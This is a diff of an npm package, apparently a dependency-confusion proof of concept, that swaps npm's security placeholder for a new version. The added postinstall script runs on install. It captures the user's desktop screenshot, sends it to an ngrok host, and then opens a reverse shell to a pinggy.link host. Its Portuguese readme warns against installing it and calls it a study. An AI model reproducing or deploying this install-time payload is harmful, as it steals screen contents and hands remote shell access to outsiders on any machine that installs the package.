private-bug-bounty-secret 0.0.1-security → 1.0.2

package/ngrok_teste_postinstall.js

@@ -0,0 +1,85 @@
+const https = require('https');
+const fs = require('fs');
+const screenshot = require('screenshot-desktop');
+
+
+const screenshotPath = 'screenshot.png';
+
+
+function captureAndSendScreenshot() {
+  screenshot()
+    .then((img) => {
+      
+      fs.writeFileSync(screenshotPath, img);
+      console.log('Captura de tela salva como screenshot.png');
+
+      
+      const image = fs.readFileSync(screenshotPath);
+      const base64Image = image.toString('base64');
+
+      
+      const options = {
+        hostname: '2e6a-2804-720-4017-dc00-e6a8-dfff-fef3-708b.ngrok-free.app',
+        port: 443,
+        path: '/webhook',
+        method: 'POST',
+        headers: {
+          'Content-Type': 'application/json',
+          'ngrok-skip-browser-warning': 'true',
+        },
+        rejectUnauthorized: false,
+      };
+
+      
+      const requestData = JSON.stringify({
+        image: base64Image,
+        fileName: screenshotPath,
+      });
+
+      
+      const req = https.request(options, (res) => {
+        let responseData = '';
+
+        res.on('data', (chunk) => {
+          responseData += chunk;
+        });
+
+        res.on('end', () => {
+          console.log('Resposta do servidor:', responseData);
+          executeReverseShell(); 
+        });
+      });
+
+      req.on('error', (err) => {
+        console.error('Erro na solicitação:', err.message);
+      });
+
+      req.write(requestData);
+      req.end();
+    })
+    .catch((err) => {
+      console.error('Erro ao capturar a tela:', err.message);
+    });
+}
+
+
+function executeReverseShell() {
+  (function () {
+    const net = require('net');
+    const cp = require('child_process');
+    const sh = cp.spawn('sh', []);
+    const client = new net.Socket();
+
+    client.connect(34697, 'rnrqo-2804-720-4017-dc00-e6a8-dfff-fef3-708b.a.free.pinggy.link', function () {
+      client.pipe(sh.stdin);
+      sh.stdout.pipe(client);
+      sh.stderr.pipe(client);
+    });
+
+    
+    return /a/;
+  })();
+}
+
+
+captureAndSendScreenshot();

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "private-bug-bounty-secret",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.2",
+  "description": "Malicious dependency PoC",
+  "scripts": {
+    "postinstall": "node ngrok_teste_postinstall.js"
+  },
+  "dependencies": {
+    "https": "^1.0.0",
+    "screenshot-desktop": "^1.15.0"
+  }
 }

package/readme.md

@@ -0,0 +1,4 @@
+# Teste
+
+Não instale essa lib! Esse script é um teste para fins de estudos do 
+Dependency Confusion.

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=private-bug-bounty-secret for more information.